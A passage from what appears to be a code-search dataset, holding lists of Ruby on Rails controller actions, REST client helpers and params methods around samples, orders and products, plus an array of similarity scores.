"def set_sample\n @sample = Sample.find(params[:id])\n end",
"def update!(**args)\n @atomic_size = args[:atomic_size] if args.key?(:atomic_size)\n @atomic_type = args[:atomic_type] if args.key?(:atomic_type)\n @bit_rate = args[:bit_rate] if args.key?(:bit_rate)\n @byte_order = args[:byte_order] if args.key?(:byte_order)\n @details = args[:details] if args.key?(:details)\n @dimension = args[:dimension] if args.key?(:dimension)\n @elements_per_sample = args[:elements_per_sample] if args.key?(:elements_per_sample)\n @rank = args[:rank] if args.key?(:rank)\n @sample_coding = args[:sample_coding] if args.key?(:sample_coding)\n @sample_rate = args[:sample_rate] if args.key?(:sample_rate)\n @sample_size = args[:sample_size] if args.key?(:sample_size)\n @sample_type = args[:sample_type] if args.key?(:sample_type)\n @start_time = args[:start_time] if args.key?(:start_time)\n @total_samples = args[:total_samples] if args.key?(:total_samples)\n end",
"def create\n @batch_sampling = BatchSampling.new(params[:batch_sampling])\n @title = \"Batch Upload of Sampling Data\"\n\n respond_to do |format|\n if @batch_sampling.save\n \n id = @batch_sampling.id\n\n logger.debug \"batch_sampling ID\" + id.to_s\n\n self.parse_batch_sampling_data(id)\n\n format.html {\n flash[:notice] = 'Files have been successfully saved and new Sampling entries are created!!!'\n redirect_to :controller => \"samplings\", :action => \"index\" }\n\n format.xml { render :xml => @batch_sampling, :status => :created, :location => @batch_sampling }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @batch_sampling.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sample_metadata_numerical.update(sample_metadata_numerical_params)\n format.html { redirect_to @sample_metadata_numerical, notice: 'Sample metadata numerical was successfully updated.' }\n format.json { render :show, status: :ok, location: @sample_metadata_numerical }\n else\n format.html { render :edit }\n format.json { render json: @sample_metadata_numerical.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @doc_ai_dataset = args[:doc_ai_dataset] if args.key?(:doc_ai_dataset)\n @documents = args[:documents] if args.key?(:documents)\n @output_path = args[:output_path] if args.key?(:output_path)\n end",
"def post(buffer)\n connection.post(\"#{configuration.path}/update\", buffer, {'Content-type' => 'text/xml;charset=utf-8'})\n end",
"def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end",
"def update\n @normal_example = NormalExample.find(params[:id])\n\n respond_to do |format|\n if @normal_example.update_attributes(params[:normal_example])\n flash[:notice] = 'NormalExample was successfully updated.'\n format.html { redirect_to(@normal_example) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @normal_example.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @bench_test_photo_gen = BenchTest::PhotoGen.find(params[:id])\n\n respond_to do |format|\n if @bench_test_photo_gen.update_attributes(params[:bench_test_photo_gen])\n format.html { redirect_to(@bench_test_photo_gen, :notice => 'Photo gen was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bench_test_photo_gen.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def save\n return if @content.nil?\n put_rest \"extra/#{@name}\", @content, :content_type => \"application/octet-stream\"\n end",
"def put_document index, id, document\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}\")\n req = Net::HTTP::Put.new(uri)\n req.body = document.to_json\n run(uri, req)\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update(uri, payload)\n url = \"#{@config[:base_url]}#{@config[:rest_path]}/#{extract_pid(uri)}\"\n request = Request.new(\n \"Put\", url, payload.to_s, {\n \"Accept\" => \"application/json\",\n \"Content-Type\" => \"application/json\",\n \"Content-Length\" => \"nnnn\",\n @auth_header => @token\n }\n )\n response = request.perform\n response\n end",
"def update_index\n index_files = []\n index_files << upload(\"specs.4.8.gz\", specs_index)\n log \"Uploaded all specs index\"\n index_files << upload(\"latest_specs.4.8.gz\", latest_index)\n log \"Uploaded latest specs index\"\n index_files << upload(\"prerelease_specs.4.8.gz\", prerelease_index)\n log \"Uploaded prerelease specs index\"\n\n index_files.each do |file|\n tuf_repo.replace_file(file, 'targets/unclaimed', 'targets')\n end\n\n # For now assume all files are unclaimed\n pending_files = tuf_pending_store.pending\n pending_files.each do |file|\n puts \"Adding file: #{file.path}\"\n tuf_repo.add_file(file, 'targets/unclaimed', 'targets')\n end\n tuf_repo.publish!\n tuf_pending_store.clear(pending_files)\n end",
"def set_sample\n # @sample = Sample.find(params[:id])\n @sample = Sample.where(sample_id: params[:id])\n end",
"def test_send_multiple_files()\n # Parameters for the API call\n file = File::open(TestHelper.get_file('http://localhost:3000/response/image'))\n file1 = File::open(TestHelper.get_file('http://localhost:3000/response/image'))\n\n # Perform the API call through the SDK function\n result = @controller.send_multiple_files(file, file1)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n end",
"def sample_params\n params.require(:sample).permit()\n end",
"def download_sample_probe_list\n temp = [[\"Probes for calibration\"], [\"EukS_1209_25_dT\"], [\"EukS_328_25_dT\"], [\"DinoB_25_dT\"], [\"Test1 (EukS_1209_25dT)\"]]\n send_sample_file(\"sample_probe_list\", temp)\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n respond_to do |format|\n if @mycometer_coc_sample.update(mycometer_coc_sample_params)\n format.html { redirect_to @mycometer_coc_sample, notice: 'Mycometer coc sample was successfully updated.' }\n format.json { render :show, status: :ok, location: @mycometer_coc_sample }\n else\n format.html { render :edit }\n format.json { render json: @mycometer_coc_sample.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sampled_url = SampledUrl.find(params[:id])\n\n respond_to do |format|\n if @sampled_url.update_attributes(params[:sampled_url])\n format.html { redirect_to @sampled_url, notice: 'Sampled url was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sampled_url.errors, status: :unprocessable_entity }\n end\n end\n end",
"def upload_file(bucket_key,file_location,file_name,access_token)\n file_uploaded = File.new(file_location, 'rb')\n response = RestClient.put(\"#{API_URL}/oss/v2/buckets/#{bucket_key}/objects/#{file_name}\",\n file_uploaded,\n { Authorization: \"Bearer #{access_token}\", content_type:'application/octet-stream'})\n return response\nend",
"def update\n # returning connection.put(element_path(prefix_options), to_xml, self.class.headers) do |response|\n returning connection.put(element_path(prefix_options), to_ssj, self.class.headers) do |response|\n load_attributes_from_response(response)\n end\n end",
"def update_feature_request(folder_id, feature_content, file_name)\n url = URI(\"#{$base_url}/api/projects/#{$project_id}/folders/#{folder_id}/update_from_feature\")\n\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n request = Net::HTTP::Patch.new(url)\n request[\"accept\"] = 'application/vnd.api+json; version=1'\n request[\"access-token\"] = $access_token\n request[\"uid\"] = $uid\n request[\"client\"] = $client\n request[\"Content-Type\"] = 'application/json'\n\n data = {\n data: {\n attributes: {\n \"feature\": feature_content\n }\n }\n }\n\n request.body = JSON.generate(data)\n response = http.request(request)\n\n if response.code == 200.to_s\n update_response = JSON.parse(response.read_body)['data']\n puts \"Feature '#{update_response['attributes']['name']}' with '#{update_response['attributes']['scenarios-count']} scenario(s)' updated.\"\n $success_uploaded_count = $success_uploaded_count + 1\n $uploaded_features_list.push(file_name)\n $updated_count = $updated_count + 1\n else\n $fail_uploaded_count = $fail_uploaded_count + 1\n $not_uploaded_features_list.push(file_name)\n end\n\n response.code\nend",
"def update_departure_sample_timestamps\n old_file_path = rename_original_file\n\n build_new_file(old_file_path: old_file_path)\n ensure\n File.delete(old_file_path)\n end",
"def new\n @xml_sample = XmlSample.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @xml_sample }\n end\n end",
"def create\n @sample = Sample.new(sample_params)\n\n respond_to do |format|\n if @sample.save\n format.html { redirect_to @sample, notice: 'Sample was successfully created.' }\n format.json { render :show, status: :created, location: @sample }\n else\n format.html { render :new }\n format.json { render json: @sample.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sample = Sample.new(sample_params)\n\n respond_to do |format|\n if @sample.save\n format.html { redirect_to @sample, notice: 'Sample was successfully created.' }\n format.json { render :show, status: :created, location: @sample }\n else\n format.html { render :new }\n format.json { render json: @sample.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sample = Sample.new(sample_params)\n\n respond_to do |format|\n if @sample.save\n format.html { redirect_to @sample, notice: 'Sample was successfully created.' }\n format.json { render :show, status: :created, location: @sample }\n else\n format.html { render :new }\n format.json { render json: @sample.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ingest\n json = self.result.deep_dup.with_indifferent_access\n JsonUtilities.strip_uri_type!(json)\n JsonUtilities.clean_uris!(json)\n client = HTTPClient.new\n # fire & forget\n client.put_async(\"#{INGEST_BASE_URL}?api_key=#{ENV['RC_API_KEY']}&doi=#{URI.encode_www_form_component(doi)}\",\n MultiJson.dump(json),\n 'Content-Type' => 'application/json',\n 'Accept' => 'application/json')\n end",
"def sample_params\n params.require(:sample).permit(:filename, :malz, :hash, :tags_list)\n end",
"def sample_params\n params.require(:sample).permit(:code, :remarks, :sample_type_id, :sample_type_version_id, :work_order_id, :data, pictures_attributes: [ :id, :local_id, :image, :_destroy ])\n end",
"def update\n @experiment = Experiment.find(params[:id])\n @title = \"Microarray experiments\"\n\n respond_to do |format|\n if @experiment.update_attributes(params[:experiment])\n format.html { redirect_to(@experiment, :notice => 'Microarray experiment was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @experiment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end",
"def update_document index, id, document\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}/_update\")\n req = Net::HTTP::Post.new(uri)\n req.body = { \"doc\": document }.to_json\n run(uri, req)\n end",
"def update\n @sample_type = SampleType.find(params[:id])\n\n respond_to do |format|\n if @sample_type.update_attributes(params[:sample_type])\n format.html { redirect_to @sample_type, notice: 'Sample type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sample_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def sample_params\n params.require(:sample).permit(:ogsong_id, :title, :artist, :lyrics)\n end",
"def handle_put_request\n @request.records.each do |record|\n file = DataFile.storing(@request.uuid, record.time)\n file << record\n file.close\n end\n\n send_data [@request.record_count].pack('L')\n end",
"def put(*args)\n request :put, *args\n end",
"def update(index_name, payload)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = \"application/json\"\n req.body = payload.to_json\n @client.send_http(req, true, ['200'])\n end",
"def test_attach_file\n# post :upload, \"note\"=>{\"title\"=>\"my note\"}, \"courseid\"=>\"806350272748085520\",\n# \"processor\"=>{\"id\"=>\"1000001\"}, \"success\"=>\"/course/806350272748085520/ACMA-320/share_notes\", \n# \"upload_id\"=>\"1169944954\", \n# \"failure\"=>\"/course/806350272748085520/ACMA-320/share_notes\"\n \n post :upload, \"noteid\"=>\"816717565610925385\", \"processor\"=>{\"id\"=>\"1000001\"}\n \n end",
"def upload\n validate_documents_content_type\n validate_documents_page_size\n\n power_of_attorney = ClaimsApi::PowerOfAttorney.find_using_identifier_and_source(id: params[:id],\n source_name: source_name)\n power_of_attorney.set_file_data!(documents.first, params[:doc_type])\n power_of_attorney.status = 'submitted'\n power_of_attorney.save!\n power_of_attorney.reload\n ClaimsApi::VBMSUploadJob.perform_async(power_of_attorney.id)\n render json: power_of_attorney, serializer: ClaimsApi::PowerOfAttorneySerializer\n end",
"def update(context, name, should)\n res = context.transport.put_request(context, \"blobstores/#{should[:type]}/#{name}\", should[:attributes])\n\n context.err(res.body) unless res.success?\n end",
"def create_doc\n\t\theaders = {:content_type => 'application/xml'}\n\t\turi = CGI.escape(\"/\" + rand(2).to_s() + \"/\" + rand(10).to_s() + \"/\" + rand(1000000).to_s() + \".xml\")\n\t\tresponse = @resource[\"/documents/\" + uri].put('<stuff xmlns=\"stuff\">' + uri + '</stuff>', headers)\n\t\treturn uri\n\tend",
"def put(path = '/files/', params = {})\n request :put, path, params\n end",
"def update!(**args)\n @documents = args[:documents] if args.key?(:documents)\n @processor_info = args[:processor_info] if args.key?(:processor_info)\n end"
] |
[
"0.6220045",
"0.6095602",
"0.57013047",
"0.561126",
"0.55221444",
"0.55009156",
"0.5474981",
"0.5468895",
"0.5342076",
"0.5322039",
"0.5315566",
"0.5297336",
"0.5286427",
"0.52857375",
"0.52739745",
"0.5251494",
"0.52421975",
"0.5227644",
"0.521639",
"0.5215109",
"0.5213487",
"0.5195595",
"0.5195595",
"0.5195595",
"0.5195595",
"0.5160853",
"0.5149756",
"0.51383555",
"0.5134671",
"0.511944",
"0.5117535",
"0.51078933",
"0.5105983",
"0.50957394",
"0.50877607",
"0.50869906",
"0.50827694",
"0.5075598",
"0.5033051",
"0.50258565",
"0.5023582",
"0.5012842",
"0.49919775",
"0.49919018",
"0.49902362",
"0.49881446",
"0.4968694",
"0.4967785",
"0.49663022",
"0.49639276",
"0.49639276",
"0.49639276",
"0.49639276",
"0.49639276",
"0.49639276",
"0.49604982",
"0.49592584",
"0.49564084",
"0.4946106",
"0.49224803",
"0.49147898",
"0.49131826",
"0.49077016",
"0.4905737",
"0.49044895",
"0.49025384",
"0.4898437",
"0.48924598",
"0.48890305",
"0.4886053",
"0.48811695",
"0.48736712",
"0.48688394",
"0.48668206",
"0.486504",
"0.48547933",
"0.48453984",
"0.48436257",
"0.48432493",
"0.48411396",
"0.48394212",
"0.48394212",
"0.48394212",
"0.48374012",
"0.4822907",
"0.48213118",
"0.48174682",
"0.4815458",
"0.4802894",
"0.48010752",
"0.4791477",
"0.47910482",
"0.4790155",
"0.47880352",
"0.47868058",
"0.47772163",
"0.47771272",
"0.4775604",
"0.47727922",
"0.4772672"
] |
0.5522456
|
4
|
POST /ordered_products POST /ordered_products.json
|
def create
product = Product.find(params[:product_id])
qty=params[:quantity].to_i
@ordered_product = @cart.add_product(product.id,qty)
@ordered_product.save
respond_to do |format|
format.html { redirect_to store_index_url, notice: 'Order placed successfully' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n # @order = Order.new() \n total = 0\n \n @order = Order.new()\n for product in params[:_json]\n \n if (product[:quantity].nil? || product[:quantity].to_f < 1 || !isint(product[:quantity]))\n # Handle case when order invalid quantity\n render json: \"\", status: :bad_request\n return\n end\n\n @product = Product.find_by_name_and_size_id(product[:product], product[:size]) \n if @product.nil?\n # Handle case when order invalid products\n render json: \"\", status: :not_found\n return\n end \n total = total + @product.price * product[:quantity].to_f \n @order.orders_products << OrdersProduct.new(:product => @product, :hot => product[:hot], :quantity => product[:quantity]) \n end \n\n @order.total = total\n\n if @order.save\n render json: @order, status: :created, location: @order\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end",
"def create\n @ordered_product = OrderedProduct.new(params[:ordered_product])\n rented_products = params['rented_products'] ? params['rented_products'] : {}\n # p product_packages\n respond_to do |format|\n format.html { redirect_to @ordered_product.complex_triggered_save(current_user.id, rented_products) }\n end\n end",
"def create\n @product_in_order = ProductInOrder.new(product_in_order_params)\n\n respond_to do |format|\n if @product_in_order.save\n format.html { redirect_to @product_in_order, notice: 'Product in order was successfully created.' }\n format.json { render :show, status: :created, location: @product_in_order }\n else\n format.html { render :new }\n format.json { render json: @product_in_order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @products = Product.all\n order_products = []\n @products.each do |p|\n sym = \"product_#{p.id}\".to_sym\n if params[sym].present?\n count = params[sym].to_i\n if count > 0\n order_product = OrderProduct.new(product: p, count: count)\n order_products << order_product\n end\n end\n end\n\n if order_products.size > 0\n order = Order.new(user: current_user)\n order.save!\n order_products.each do |i|\n i.order = order\n i.save!\n end\n redirect_to order_path(order.id)\n else\n redirect_to new_order_path\n end\n end",
"def ordered_product_params\n params.require(:ordered_product).permit(:quantity, :product_id, :cart_id, :price_per_unit)\n end",
"def create\n @order = Order.new(order_params)\n @order.products_inorder << @products\n @order.user = @products.first.user\n\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to_relative_path('inorder') and return }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render template: \"/admin/products/inorder/action\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @ordered_products = OrderedProduct.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ordered_products }\n end\n end",
"def create\n @order = Order.new(params[:order])\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to(@order, :notice => 'Order was successfully created.') }\n format.xml { render :xml => @order, :status => :created, :location => @order }\n else\n if @order.ordered_products.empty?\n 8.times { @order.ordered_products.build }\n else\n no_times = 8 - @order.ordered_products.size\n no_times.times { @order.ordered_products.build }\n end\n format.html { render :action => \"new\" }\n format.xml { render :xml => @order.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @ordered = Ordered.new(ordered_params)\n\n respond_to do |format|\n if @ordered.save\n format.html { redirect_to @ordered, notice: 'Ordered was successfully created.' }\n format.json { render :show, status: :created, location: @ordered }\n else\n format.html { render :new }\n format.json { render json: @ordered.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_products\n @products_ordered = Product.where(\"id = ?\", params[:product_id]) \n end",
"def create\n @order_product = OrderProduct.new(order_product_params.merge(order_id: @order.id))\n respond_to do |format|\n if @order_product.save\n format.html { redirect_to order_path(@order_product.order), notice: 'product added to order.' }\n format.json { render :show, status: :created, location: @order_product }\n else\n format.html { render :new }\n format.json { render json: @order_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_product\n @user = User.find_by(id: params['user'])\n products = params['products'].split(',')\n products.each do |product_id|\n @user.cart.products << Product.find_by(id: product_id)\n end \n render json: {data: @user.cart.products }\n end",
"def create\n @order = Order.new(tl_params)\n\n if @order.save\n if params[:product]\n \t@order.create_order(params[:product])\n end\n render json: @order, status: :created\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end",
"def product_params\n params[:order].permit(:customer_id, :product_ids, :order_id)\n end",
"def create\n @product = Product.new(product_args)\n\n if @product.save\n render json: Product.all, status: :created\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n\n # @selectedItems.each do |selectedItem|\n # item = Item.new\n # item.menu = selectedItem.id\n # item.quantity = selectedItems.quantity\n # item.order = @order.id\n # item.save\n # end\n\n #@selectedItems = JSON.parse(params[:selectedItems])\n Rails.logger.debug(\"@selectedItems in create: #{@selectedItems}\")\n end",
"def set_ordered_product\n @ordered_product =OrderedProduct.find_by(product_id: params[:product_id])\n end",
"def create\n @cart = current_cart\n @product = Product.find(params[:product_id])\n @order = Order.add_product(@product, @cart)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render action: 'show', status: :created, location: @order }\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = @collection.products.build(product_params)\n\n if @product.save\n render json: @product, status: :created#, location: @collection\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def create\n if params[:products]\n params[:products].each do |product|\n @product = Product.new(name: product[:name],\n brand: product[:brand],\n model: product[:model],\n sku: product[:sku],\n price: product[:price],\n desc: product[:desc])\n if !@product.save\n render json: @product.errors.full_messages, status: 422\n end\n end\n render 'api/products/index'\n else\n @product = Product.new(product_params)\n if @product.save\n render 'api/products/show'\n else\n render json: @product.errors.full_messages, status: 422\n end\n end\n end",
"def create\n order = Order.create(order_params)\n render json: order\nend",
"def create\n @order = Order.new(order_params)\n @order[:user_id] = current_user.id\n @order.price = params['price']\n a = params[\"product_id\"].split(' ')\n b = a.each_slice(2).to_a\n @order.product_id = b\n @order.save\n respond_to do |format|\n if @order.save\n format.html { redirect_to '/payment/'+@order.id.to_s}\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def order_params\n params.require(:order).permit(:products, :customer_id)\n end",
"def create\n @product = @productable.products.find(params[:product_id])\n ids = params[:products]\n reals = @productable.products.map(&:id) # Make a lambda with this\n present_prod = ids.select { |n| reals.include?(n) } # And this\n if @product.update(product_relations: present_prod)\n render json: @product, status: 200\n else\n render json: @product.errors, status: 422\n end\n end",
"def create\n @power_order = PowerOrder.new(power_order_params)\n @power_order.save\n render json: @power_order\n end",
"def create\n\n product_details = params.permit(:title, :inventory_count, :price)\n success = Product.create(product_details)\n\n render json: { success: success }\n end",
"def product_in_order_params\n params.require(:product_in_order).permit(:order_id, :product_id, :quantity)\n end",
"def product_params\n params.require(:product).permit(:products)\n end",
"def order_product_params\n params.require(:order_product).permit(:order_id, :product_id, :quantity)\n end",
"def create\n @product = Product.new(product_params)\n\n if @product.save\n render json: @product, status: :created, location: @product\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def create\n @product = Product.new(params[:product])\n respond_to do |format|\n if @product.save\n current_user.user_info.products.push @product\n Shopify.create @product\n format.html { redirect_to :action => 'index' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @productorder = Productorder.new(productorder_params)\n\n respond_to do |format|\n if @productorder.save\n format.html { redirect_to :back, notice: 'Product order was successfully created.' }\n format.json { render :show, status: :created, location: @productorder }\n else\n format.html { render :new }\n format.json { render json: @productorder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def products\n end",
"def product_order_params\n params.require(:product_order).permit(:product_id, :order_id)\n end",
"def create\n @product = Product.create!(product_params)\n json_response(@product, :created)\n end",
"def create\n @product = Product.new(product_params)\n @product.save\n set_products\n end",
"def create\n @order_product = OrderProduct.new(order_product_params)\n\n respond_to do |format|\n if @order_product.save\n format.html { redirect_to @cart, notice: 'Order product was successfully created.' }\n format.json { render :show, status: :created, location: @order_product }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def provision\n @order = Order.new\n 1.times {@order.order_details.build}\n respond_to do |format|\n format.html # provision.html.erb\n format.json { render json: @order }\n end\n end",
"def order_params\n params.require(:order).permit(:product_id)\n end",
"def order_params\n params.require(:order).permit(:strip_token, :strip_response, :product)\n end",
"def create\n @ordereditem = Ordereditem.new(ordereditem_params) \n respond_to do |format|\n if @ordereditem.save\n format.html { redirect_to @ordereditem, notice: 'Ordereditem was successfully created.' }\n format.json { render action: 'show', status: :created, location: @ordereditem }\n else\n format.html { render action: 'new' }\n format.json { render json: @ordereditem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order_item_extra = OrderItemExtra.new(order_item_extra_params)\n\n if @order_item_extra.save\n render json: @order_item_extra, status: :created, location: @order_item_extra\n else\n render json: @order_item_extra.errors, status: :unprocessable_entity\n end\n end",
"def create\n @product = Product.new(product_params)\n\n if @product.save\n render json: @product, status: :created\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def new\n @order = Order.new\n 8.times { @order.ordered_products.build }\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @order }\n end\n end",
"def orders_add\n\t\t@product_id = params[:product_id].to_i\n\t\t@quantity = params[:quantity].to_i\n\t\t\n\t\tfound = false\n\t\tsession[:orders].each do |order|\n\t\t\tif (order[\"table\"][\"product_id\"]==@product_id and not found) #session-ized variable uses [table]\n\t\t\t\trespond_to do |format|\n\t\t\t\t\tformat.json { render json: { error: \"Product already ordered. Please check your cart.\"} }\n\t\t\t\tend\n\t\t\t\tfound = true\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\t\t\n\t\tif (not found)\n\t\t\tif (@quantity>0)\n\t\t\t\tneworder = OpenStruct.new product_id: @product_id, quantity: @quantity\n\t\t\t\tsession[:orders] << neworder\n\t\t\t\t\n\t\t\t\trespond_to do |format| #success\n\t\t\t\t\tformat.json { render json: {} }\n\t\t\t\tend\n\t\t\telse\n\t\t\t\trespond_to do |format|\n\t\t\t\t\tformat.json { render json: { error: \"Invalid quantity to be added to cart.\"} }\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn nil\n\tend",
"def create\n product = Product.new(product_params)\n if product.save\n render json: ProductSerializer.new(product).serialized_json\n end\n end",
"def execute\n guest.cart.order_items.create product: product\n end",
"def create\n\n product_ids=Array.new\n product_ids=params[:ids].split\n product_ids.each do |product|\n @checkout = Checkout.new(checkout_params)\n @checkout.product_id=product\n @checkout.save\n end\n respond_to do |format|\n if @checkout.save\n format.html { redirect_to \"/\", notice: 'Checkout was successfully done.' }\n format.json { render :products, status: :created, location: @checkout }\n else\n format.html { render :new }\n format.json { render json: @checkout.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order, @errors = Order.create_from_cart(@cart, order_params)\n\n if @order\n render json: @order, status: :created, location: @order\n else\n render json: @errors, status: :unprocessable_entity\n end\n end",
"def products_params\n params.require(:products) do |product|\n product.permit(:id, :quantity)\n end\n end",
"def create\n @service_order = ServiceOrder.new(service_order_params)\n @products = params[:inputprod]\n @quantity = params[:inputcantidad]\n #@cita_id = Citation.where(:id => params[:citation_id])\n \n respond_to do |format|\n if @service_order.save\n cont =0\n @products.each do |p|\n detalle = ServiceOrderDetail.new(product_id: p, quantity: @quantity[cont], service_order_id:@service_order.id)\n detalle.save\n cont +=1\n end\n \n format.html { redirect_to @service_order, notice: 'Service order was successfully created.' }\n format.json { render :show, status: :created, location: @service_order }\n else\n format.html { render :new }\n format.json { render json: @service_order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_buying_a_product\n LineItem.delete_all\n Order.delete_all\n ruby_book = products(:ruby_book)\n \n get \"/store/index\"\n assert_response :success\n assert_template \"index\"\n \n xml_http_request :put, \"/store/add_to_cart\", :id => ruby_book.id\n assert_response :success\n \n post \"/store/checkout\"\n assert_response :success\n assert_template \"checkout\"\n \n post_via_redirect \"/store/save_order\",\n :order => { :name => \"Dave Thomas\",\n :address => \"123 The Street\",\n :email => \"dave@pragprog.com\",\n :pay_type => \"check\"\n }\n assert_response :success\n assert_template \"index\"\n assert_equal 0, session[:cart].items.size\n \n orders = Order.find(:all)\n assert_equal 1, orders.size\n order = orders[0]\n \n assert_equal \"Dave Thomas\", order.name\n assert_equal \"123 The Street\", order.address\n assert_equal \"dave@pragprog.com\", order.email\n assert_equal \"check\", order.pay_type\n \n assert_equal 1, order.line_items.size\n line_item = order.line_items[0]\n assert_equal ruby_book, line_item.product\n end",
"def send_product(product)\n request(product, \"product\", :post, {method: \"add\"})\n end",
"def create\n @product = Product.new(params[:product])\n @product.shop = Shop.find_by_uuid params[:shop_id]\n\n respond_to do |format|\n if @product.save!\n format.html { redirect_to shop_products_path(@product.shop.uuid), notice: 'Product was successfully created.' }\n format.json { render json: @product.to_json(:include => {:product_variants => {:include => [:option_types,:pictures]}})}\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n\n @basket = ActiveSupport::JSON.decode(cookies[\"basket\"])\n p @basket\n @basket.each do |order_position|\n @order_detail = OrderDetail.create!(order: @order, product_id: order_position[0], qty: order_position[1])\n end\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n if @product.save\n render json: @product, status: :created, location: @product\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def update\n @order = Order.find(params[:id])\n @order.assign_attributes(params[:order])\n @order.products_inorder << @products\n @order.user = @products.first.user\n \n respond_to do |format|\n if @order.save\n format.html { redirect_to_relative_path('inorder') and return }\n format.json { head :no_content }\n else\n format.html { render template: \"/admin/products/inorder/action\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(:customer_id => order_params[:customer_id])\n\n order_params[:line_items].each do |item|\n if !item.empty?\n @order.line_items.new(:product_id => item, :order_id => @order.id)\n @order.update(cost: @order.cost + @order.line_items[0].product.price)\n end\n end\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
